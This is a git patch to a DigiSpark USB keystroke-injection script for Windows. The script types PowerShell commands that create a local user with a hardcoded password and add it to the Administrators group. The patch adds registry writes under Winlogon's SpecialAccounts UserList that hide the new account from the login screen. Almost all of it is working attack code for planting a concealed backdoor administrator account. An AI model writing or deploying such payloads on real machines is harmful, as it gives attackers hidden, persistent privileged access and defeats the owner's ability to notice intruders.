From 4db19af07439b8de356281cf2fc0f819e95496b2 Mon Sep 17 00:00:00 2001 From: "e.kodikara" Date: Tue, 24 Sep 2019 14:57:49 +1000 Subject: [PATCH] Added hide option for created user --- Create_Account/Create_Account.ino | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/Create_Account/Create_Account.ino b/Create_Account/Create_Account.ino index 90bf040..0715e74 100644 --- a/Create_Account/Create_Account.ino +++ b/Create_Account/Create_Account.ino @@ -1,11 +1,9 @@ //This DigiSpark script creates new local user and adds it to "Administrators" group //Tested on Windows 10 with English(US) keyboard layout -//Created by Michyus +//Created by Michyus | Edited by Elshan #include "DigiKeyboard.h" void setup() { -} - -void loop() { + DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); @@ -20,7 +18,21 @@ void loop() { DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); + /* I assumed user already have powershell - Try to hide the user account from the login screen*/ + DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD ")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + /* end hide user section */ DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); - for(;;){ /*empty*/ } +} + +void loop() { }